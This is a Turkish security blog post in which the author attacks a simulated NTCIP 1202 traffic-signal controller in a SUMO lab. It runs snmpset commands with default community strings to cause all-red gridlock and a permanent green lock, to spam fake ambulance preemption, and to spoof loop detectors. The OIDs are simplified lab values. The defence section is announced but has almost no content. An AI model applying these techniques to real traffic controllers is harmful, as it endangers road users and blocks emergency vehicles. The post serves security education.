// CLASSIFIED // OFFENSIVE OPS // YETKİLİ PERSONEL DIŞINA ÇIKMAZ //
SYS ONLINE
SES --------
UPLINK SECURE
COORD --.----°N ---.----°W
----.--.--
--:--:-- UTC
MUCAHIC
// Offensive Operations Division, EST. 2026
OT / AKILLI ŞEHİR BLOG · NOTLAR NTCIP 1202 SNMP SUMO TRAFFIC SIGNAL

Trafik Işıklarını Hacklemek:
Şehrin Görünmeyen State Machine'i

Yolda yanından geçtiğin gri kabin aslında bir embedded sistem, içinde Linux koşan, NTCIP 1202 protokolüyle dışarıyla konuşan, kavşağı state machine olarak yöneten bir bilgisayar. Bu yazıda SUMO ile kurduğum sanal kavşağa, gerçek SNMP komutlarıyla bağlanıp  gridlock,  green forever,  preemption hijack  ve  induction loop spoofing  saldırılarını adım adım uyguluyorum.

Operatör
OP-0042 / MUCAHIC
Yayın
2026.05.14
Okuma
~ 14 DK
Dosya ID
MU-008-TRAFFIC

Her gün belki yüz defa altından geçiyoruz ama hemen hiç kimse bakmıyor: trafik ışığının dibinde, kaldırıma yapıştırılmış o gri metal kabin. İçinde ne var, kim kontrol ediyor, neyle konuşuyor, çoğumuz için bir kutu. Bense şöyle düşünüyorum: her kavşak, sokak ortasında çalışan açık bir embedded sistem. Ve bu yazıda o sistemi sıfırdan sanal ortamda kurup üstüne saldırmayı anlatacağım.

Önceden uyarayım: bu yazıdaki her şey kendi laboratuvarımda, Eclipse SUMO ile kurduğum sanal kavşak üzerinde yapıldı. Gerçek bir trafik sistemine kesinlikle dokunulmadı, ama göstereceğim şeyler, dünyanın birçok şehrinde aynen geçerli olan protokollerle yapıldı.

Sokaktaki Gri Kutu

Trafik ışığı dediğimiz şey aslında iki parçadan oluşuyor: birincisi, hepimizin bildiği signal head, direk üstündeki kırmızı/sarı/yeşil lambalar. İkincisi ve asıl önemlisi, kaldırımda duran o gri kabin: traffic controller cabinet. Lambalar sadece çıktı; karar veren, zamanlamayı hesaplayan, sensörleri dinleyen şey kabinin içi.

Kabinin içinde bizim için ilginç olan birkaç şey var. CPU kartı (genelde özelleştirilmiş bir Linux veya RTOS koşturuyor), conflict monitor (donanım seviyesinde "iki yön aynı anda yeşil olamaz" failsafe'i), BIU/MIO kartları (signal head'lere giden röleler, 120V switching), detector arayüzü (sensörlerden gelen sinyalleri okuyan ADC) ve communications modülü (TMC'ye yani trafik kontrol merkezine giden Ethernet/4G/RF link).

Trafik kontrolcü kabini anatomisi ve saldırı yüzeyleri
// Cabinet anatomy, gri kutunun içi ve saldırı yüzeyleri

Sadece kabini değil, ona ulaşmanın yollarını da yukarıdaki diyagramda topladım. Hepsi birden farklı bir yazının konusu olabilir, bu yazıda 04 numaralı vektörü, yani NTCIP/SNMP'yi derinleştireceğim. Sebebi basit: bu vektör hem en yaygın hem de sahada hala şaşırtıcı derecede açık.

Trafik Işığı 101: Phase, Ring, Barrier

Saldırmadan önce sistemi anlamak gerek (yine ve yine). Trafik mühendisleri kavşakları çok özel bir dille tarif ediyorlar, bu dili öğrenince saldırı yüzeyi netleşiyor.

Temel birim phase (faz). Bir faz, kavşağın belirli bir hareketine yeşil veren süre demek. Klasik bir 4 kollu kavşakta NEMA standardına göre 8 faz vardır: 4 ana doğrultu (kuzey-güney düz, doğu-batı düz) artı 4 sol dönüş. Faz sayısı kavşağın karmaşıklığıyla orantılı.

Fazlar yan yana çalışmaz, ring ve barrier diye gruplanır. Aynı ring'deki fazlar bir bütün, barrier'lar farklı yön gruplarını birbirinden ayırır. Yani sistem aslında bir hayli düzgün bir sonlu durum makinesi (finite state machine), ve bunu söyleyince offsec tarafı için bir şey değişti: state machine'i biz de yazabiliriz.

Bir de görünmeyen kahraman var: conflict monitor. Bu donanım kartı CPU'dan tamamen bağımsız çalışıyor. Eğer CPU bir saçmalık yazıp "kuzey ve doğu aynı anda yeşil olsun" derse, conflict monitor anında devreye girip kavşağı flash mode'a (genelde tüm yönler sarı yanıp sönen) alıyor. Bu, fiziksel bir sigorta gibi. Bizim saldırılarımızın bir kısmı bu duvara çarpıyor, bunu özellikle vurgulamak istiyorum, çünkü insanları öldürecek senaryoları herkesin film düşüncesinde çok ucuza geçiyor; gerçekte conflict monitor o kadar kolay aşılmıyor.

Sensörler ve Algoritma: Adaptif Sistemler

Modern kavşaklar artık sadece "her yöne 30 saniye yeşil ver" diye çalışmıyor. Sensörlerden okudukları araç yoğunluğuna göre fazları uzatıp kısaltıyorlar, buna adaptif kontrol deniyor.

Saha tarafında üç ana sensör tipi var:

Yukarıdaki sensörlerden gelen veriyi yorumlayan algoritmalar: SCATS (Avustralya menşeli, dünyanın birçok şehrinde, İstanbul dahil, kullanılıyor), SCOOT (İngiltere), MOVA, RHODES. Hepsinin ortak mantığı şu: sensörden gelen araç akışını sürekli izle, fazları gerçek zamanlı optimize et, komşu kavşaklarla offset'leri koordine ederek "yeşil dalga" yarat.

Burası saldırgan için kritik bir noktayı söylüyor: algoritma sensörlere körü körüne güveniyor. Bu sensörlerden birini bile yanıltabilirsek, algoritma bizim ürettiğimiz sahte gerçekliğe göre kavşağı yönetir. Bu yazının sonundaki saldırılardan biri tam olarak bu, loop spoofing.

NTCIP 1202: Asıl Eğlence Burada

Şimdi yazının protokol kısmı. NTCIP, National Transportation Communications for ITS Protocol, ABD'de doğmuş ama dünyaya yayılmış bir standart ailesi. 1202 numaralı belge spesifik olarak trafik sinyal kontrolcüsü için "şu OID'ler şu anlama gelir" diyen bir MIB tanımı. Yani NTCIP 1202 aslında SNMP'nin üzerine geçirilmiş bir tematik elbise.

SNMP'yi bilenler ne demek istediğimi tahmin ediyordur ama yine de altını çizeyim: SNMP v2c'de yetkilendirme community-string denilen düz metin parolayla yapılıyor. Auth yok, şifreleme yok, imza yok. Vendor'lar genelde "public" (read) ve "private" (write) gibi default değerlerle kutuyu sahaya gönderiyor. Sahada bunu kim değiştirir? Maalesef genelde hiç kimse. Bunu çok genelleme gibi söylediğimin farkındayım ama dünyanın değişik şehirlerinden çıkan araştırmalar sürekli aynı şeyi gösteriyor (Cesar Cerrudo'nun 2014 DEF CON çalışması bu konuda klasiktir).

NTCIP saldırı zinciri: attacker, SNMP, controller, field I/O
// NTCIP 1202 saldırı zinciri, SNMP'den fiziksel lamba'ya kadar

Yukarıdaki diyagramda bir snmpset komutu, attacker'ın laptop'undan başlayıp kavşağın direğindeki kırmızı lambaya kadar uzanıyor. Ortada hiçbir kimlik doğrulama yok. Bu yazının pratik kısmı tam olarak bu yolu yürümek üzerine.

Lab Kurulumu: Sanal Bir Kavşak ve Sahte Bir Kontrolcü

Gerçek bir kavşağa dokunmak hem yasak hem de aptalca olduğu için her şeyi sıfırdan sanal ortamda kurdum. Üç parça var:

Bu yapının güzel yanı şu: saldırgan tarafı tamamen gerçek. snmpset komutları aynen Net-SNMP'de yazılırken kullanılacak şekilde. Yani lab'da yaptığım her şey, ortada gerçek bir NTCIP 1202 controller olsa aynen çalışırdı.

Recon: Banner Grabbing ve OID Walk

Saldırının her zaman ilk adımı: hedefin ne olduğunu öğrenmek. SNMP'de bunu yapmak çok kolay, çünkü cihaz sana kim olduğunu söylüyor.

$ python recon.py

------------------------------------------------------------------------
  STEP 1 // SNMP banner grabbing
------------------------------------------------------------------------
  target: 127.0.0.1:1161  community: public
  OID   : 1.3.6.1.4.1.1206.4.2.1.1.99.0  (vendor branch 1.3.6.1.4.1.1206 = NTCIP)
  -> MUCAHIC-LAB-CTRL // NTCIP 1202 // FW 3.14 // FAB MOCKUP

------------------------------------------------------------------------
  STEP 2 // current phase + timing
------------------------------------------------------------------------
  currentPhase = 2   (1=NS green, 2=EW green)
  greenTime    = 25 s

------------------------------------------------------------------------
  STEP 3 // OID walk (.1.3.6.1.4.1.1206.4.2.1.1)
------------------------------------------------------------------------
  LABEL                  OID                                     VALUE
  ---------------------- --------------------------------------  ---------
  currentPhase           1.3.6.1.4.1.1206.4.2.1.1.1.0            2
  greenTime              1.3.6.1.4.1.1206.4.2.1.1.2.0            25
  forceAllRed            1.3.6.1.4.1.1206.4.2.1.1.3.0            0
  greenLockPhase         1.3.6.1.4.1.1206.4.2.1.1.4.0            0
  preemptionPhase        1.3.6.1.4.1.1206.4.2.1.1.5.0            0
  loopSpoofMask          1.3.6.1.4.1.1206.4.2.1.1.6.0            0
  sysBanner              1.3.6.1.4.1.1206.4.2.1.1.99.0           MUCAHIC-LAB...

------------------------------------------------------------------------
  STEP 4 // community-string degerlendirmesi
------------------------------------------------------------------------
  read-only  community : 'public'   -> tum OID'ler okunabilir
  read-write community : 'private'  -> tum OID'ler set edilebilir
  saldirgan: bu controller'i tam yetkiyle yonetebilir.

İlk OID değeri (99.0 banner) bize cihazın ne olduğunu söylüyor. Bu lab versiyonu açıkça MUCAHIC diyor, sahadaki bir cihaz çoğunlukla Econolite Cobalt, Siemens Sitraffic, Swarco MR, McCain gibi vendor + model bilgisi veriyor. Bu kadarı bile sosyal mühendislik için yeterli, vendor'a "bakım personeli" gibi davranmak için.

OID walk'tan kırmızıyla işaretlediğim 4 değişken saldırı vektörümüz. Hepsi writable, hepsi auth'suz erişilebilir, ve hepsi kavşağın davranışını doğrudan etkileyen şeyler.

Baseline: Normal Çalışan Kavşak

SUMO simülasyonu - normal çalışan 4 kollu sinyalize kavşak
// Baseline, doğu-batı yeşilde, kuzey-güneyde kuyruk birikiyor

Yukarıdaki ekranda hiçbir saldırı yapılmamış, sistem kendi haline bırakılmış. Doğu-batı (yatay) yönü şu an yeşil, araçlar kavşaktan akıyor. Kuzey-güney (dikey) yönü kırmızıda, kuyruk birikiyor, tamamen normal davranış. Fazlar 25 saniye yeşil + 3 saniye sarı + 2 saniye all-red düzeninde dönüyor.

Saldırılar

Asıl eğlence burada başlıyor. Her saldırı tek bir snmpset komutu. İlerlemeden önce komutun anatomisini parçalayayım, çünkü "şu garip uzun sayı" gibi durmasın istiyorum:

$ snmpset  -v2c  -c private  127.0.0.1:1161  .1.3.6.1.4.1.1206.4.2.1.1.3.0  i  1
            └─┬─┘ └────┬───┘ └──────┬──────┘  └─────────┬──────────────┘    
                                                                       └─ yeni deger
                                                                     └─ tip: Integer32 (i)
                                                     └─ OID: yazilacak MIB degiskeni
                                  └─ hedef controller (UDP 161 / gercekte)
                      └─ community-string (auth yerine gecen "parola")
              └─ SNMP v2c (v3 olsa auth+priv olurdu)

OID'in son iki basamagi ki MIB degiskenini soruyor. Bizim mini-MIB:
  1.3.6.1.4.1.1206.4.2.1.1.1.0  -> currentPhase       (read-only sahada okumak icin)
  1.3.6.1.4.1.1206.4.2.1.1.2.0  -> greenTime          (saniye, faz suresi)
  1.3.6.1.4.1.1206.4.2.1.1.3.0  -> forceAllRed        (1 = tum yonler kirmizi)
  1.3.6.1.4.1.1206.4.2.1.1.4.0  -> greenLockPhase     (1=NS, 2=EW kilit)
  1.3.6.1.4.1.1206.4.2.1.1.5.0  -> preemptionPhase    (sahte ambulans yonu)
  1.3.6.1.4.1.1206.4.2.1.1.6.0  -> loopSpoofMask      (4-bit, N/E/S/W loop spoof)

Yani aslında her bir saldırı, "bu controller'ın iç değişkenlerinden birine sıfırdan farklı bir sayı yaz" demekten ibaret. NTCIP 1202'nin tüm trafik yönetim arayüzü bu MIB üzerinden çalıştığı için, yazma yetkisi olan biri (community-string'i bilen) için kavşak resmen bir API.

01 // Eternal Red, Gridlock Saldırısı

Amaç basit: forceAllRed alanına 1 yaz, tüm yönler kırmızıya kilitlensin.

$ snmpset -v2c -c private 127.0.0.1:1161  .1.3.6.1.4.1.1206.4.2.1.1.3.0  i  1

// hedef alan: forceAllRed
// gonderdigimiz deger: Integer32 = 1
// authorization: community="private" (RW yetkisi)

SNMPv2-SMI::enterprises.1206.4.2.1.1.3.0 = INTEGER: 1
                                              ^^^
                                              controller'in dondurdugu read-back:
                                              "set kabul edildi, yeni deger 1"

[+] forceAllRed = 1 -> controller faz scheduler'i devre disi birakti
                       4 yon de kirmizi, conflict monitor bunu hata saymiyor
                       cunku ortada yesil-yesil cakismasi yok.

10-15 saniye sonra durum şöyle:

Tüm yönler kırmızı - araçlar 4 koldan birikiyor (gridlock)
// Eternal Red, 4 yön de kırmızı, kavşak kilitli, kuyruklar büyüyor

Sonuç tam istediğimiz: hiçbir yön akmıyor. Saldırının asıl etkisi anlık değil; sürdükçe arka sokaklara taşan kuyruk. Ana arterlerde 4-5 dakika bu saldırı bir bölgenin tamamını kilitler. Tek dezavantajı: tespit edilmesi de görece kolay, çünkü trafik mühendisi merkezdeki HMI'da kavşağın bu davranışını anında görür. Yine de "fark edilene kadar 10 dakika" çoğu durumda yeterli.

02 // Green Forever, Bir Yöne Sonsuz Yeşil

Bu saldırı daha sinsi: kavşak çalışıyor gibi görünüyor, ama bir yön asla kırmızı olmuyor. Bu kez greenLockPhase alanına yazıyoruz:

$ snmpset -v2c -c private 127.0.0.1:1161  .1.3.6.1.4.1.1206.4.2.1.1.4.0  i  1

// hedef alan: greenLockPhase
// deger anlami: 1 = NS yonunu yesilde kilitle, 2 = EW yonunu kilitle, 0 = serbest
// gonderilen tip: Integer32

SNMPv2-SMI::enterprises.1206.4.2.1.1.4.0 = INTEGER: 1

[+] greenLockPhase = 1 -> phase scheduler dongusu kirildi.
                         NS sonsuza kadar yesil, EW hic yesil gormeyecek.
                         conflict monitor pasif kaliyor (cunku tek yon yesil,
                         cakismasi yok).
Kuzey-güney sürekli yeşil - doğu-batı koluna büyük kuyruk biriyor
// Green Forever NS, kuzey-güney yeşilde kilitli, doğu-batı kuyruk yığını

Görüldüğü gibi yatay kol (EW) artık hareket edemiyor, çünkü kavşağa giriş hakkı verilmiyor. Bu saldırının trafik mühendislerini deli eden yanı şu: sistem çalışıyor. Hata loguna düşmüyor, conflict monitor tetiklenmiyor (çünkü ortada conflict yok, sadece tek bir yönden geliyor yeşil), faz değişiyor görünüyor, sadece bir yöne hiç kırmızı gelmiyor.

// not: Bu saldırının daha şiddetli bir varyantı: aynı anda iki çapraz yönü yeşil yapmaya çalışmak. Gerçek bir cihazda conflict monitor bunu donanım seviyesinde bloklar ve kavşağı flash mode'a alır. Lab'da bu davranışı kasıtlı olarak modellemedim çünkü gerçek dünyada bu saldırının başarı şansı çok düşük , insanları öldürmek değil, sistemin gerçek zayıflıklarını göstermek niyetim.

03 // Preemption Spam, Sahte Ambulans

Preemption, ambulans/itfaiye geldiğinde kavşağı geçici olarak o yöne yeşil çevirmek için var. Genelde Opticom IR strobe veya GPS tabanlı çalışıyor. NTCIP üstünden de tetiklenebilir, ve auth yok. preemptionPhase'e yazıyoruz:

$ snmpset -v2c -c private 127.0.0.1:1161  .1.3.6.1.4.1.1206.4.2.1.1.5.0  i  2

// hedef alan: preemptionPhase
// deger anlami: 0 = preemption kapali, 1 = NS oncelik, 2 = EW oncelik
// gonderilen tip: Integer32

SNMPv2-SMI::enterprises.1206.4.2.1.1.5.0 = INTEGER: 2

[+] preemptionPhase = 2 -> controller "EW yonunden ambulans geliyor" sandi,
                          fazi anlik EW'ye gecirdi, sahte sinyali tekrar tekrar
                          gonderdigimiz icin kavsak emergency modunda KILITLENDI.
                          Asil komik tarafi: simdi GERCEK bir ambulans gelse
                          sistem zaten preempt durumda oldugu icin etkisini
                          yitiriyor.
Preemption hijack - bir yön sürekli override, diğerleri donmuş
// Preemption Spam, kavşak emergency moduna kilitli

Gerçek dünyada bu saldırının iki etkisi var. Birincisi, fiziksel akış: bir yön sürekli açık, diğerlerinde ciddi kuyruk. İkincisi, daha kötüsü, operasyonel: gerçek bir ambulans geldiğinde sistem zaten "preemption aktif" durumda olduğu için ya tetiklenmiyor ya da öncelik veremiyor. Yani sahte ambulans, gerçek ambulansın kavşağı geçemediği bir senaryo yaratıyor.

04 // Loop Spoofing, Sahte Araçlar

Son saldırı sensör tarafına. Adaptif algoritmalar (SCATS / SCOOT vb.) induction loop'tan gelen "araç var" sinyaline göre faz uzatıp kısaltıyor. Bu sinyali biz üretirsek? loopSpoofMask alanı bir 4-bit alan: her bit bir yön (N=1, E=2, S=4, W=8).

$ snmpset -v2c -c private 127.0.0.1:1161  .1.3.6.1.4.1.1206.4.2.1.1.6.0  i  5

// hedef alan: loopSpoofMask
// deger anlami: 5 = 0b0101 -> bit0 (N) + bit2 (S) aktif
// gonderilen tip: Integer32

SNMPv2-SMI::enterprises.1206.4.2.1.1.6.0 = INTEGER: 5

[+] loopSpoofMask = 0b0101 -> kuzey ve guney loop'lari surekli "arac var"
                              diyor. Adaptif algoritma bu yonleri yogun sayip
                              fazlari NS lehine uzatiyor.
                              EW kolu fiilen yari sure aliyor; bos yola yesil
                              yanmiyor, gercek arac olan yer kuyrukta bekliyor.
                              Tespiti en zor saldiri: sistem "dogru" calisiyor.
Loop spoofing - kuzey-güney yönüne sahte araç enjeksiyonu, kuyruk yapay olarak büyüyor
// Loop Spoofing, sahte sensör verisi adaptif algoritmayı yanıltıyor

Burada SUMO'ya gerçekten sahte araçlar enjekte ediyorum (mask=0b0101, yani kuzey+güney). Adaptif kontrol bunu görüp "kuzey-güney çok yoğun, daha çok yeşil ver" diye karar verir. Boş yolda yeşil. Gerçek hayatta bunu görsel olarak fark etmek çok zor, çünkü algoritma "doğru" çalışıyor; sadece girdiği veri yalan.

Savunma ve Son Söz

Yazıyı bitirmeden savunma tarafını da yazmam gerek, çünkü yukarıdaki saldırıların çoğunu anlamlı bir korumayla öldürmek mümkün.

Son söz

Bu yazıyla şunu göstermek istedim: akıllı şehir dediğimiz şey, çoğu zaman yıllardır aynı kalan, auth'suz protokoller üzerinde dans eden eski sistemlerin yeni isimle paketlenmiş hali. Trafik ışığı 1990'larda da bir kontrolcüydü, bugün de kontrolcü; aradaki tek fark ona uzaktan ulaşmanın daha kolay olması. Bu kolaylık savunma için bir nimet ama saldırgan için de o.

Lab'ın tüm kaynak kodu, SUMO senaryosu, NTCIP 1202 emülatörü ve saldırı CLI'si MIT lisansıyla GitHub'da: github.com/Mucahic/ntcip-1202-lab. Kuralım dedin mi, pip install -r requirements.txt ve tek python komutu yeterli. Geri bildirim/PR çok kıymetli.

Okuduğunuz için teşekkürler. Yanlış bulduğunuz yerleri, eklemek istediklerinizi bana yazarsanız çok memnun olurum, bu işin sahası geniş, hatadan dönmek başka türlü olmuyor :)

// Notlar: Bu yazıdaki tüm SS'ler Eclipse SUMO 1.26 + Python pysnmp 6 ile kendi lab'ımda çekildi. Gerçek bir trafik altyapısına dokunulmadı. Yöntem ve OID isimleri NTCIP 1202 spec'inden esinlendi ancak laboratuvar amaçlı sadeleştirildi.

// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.14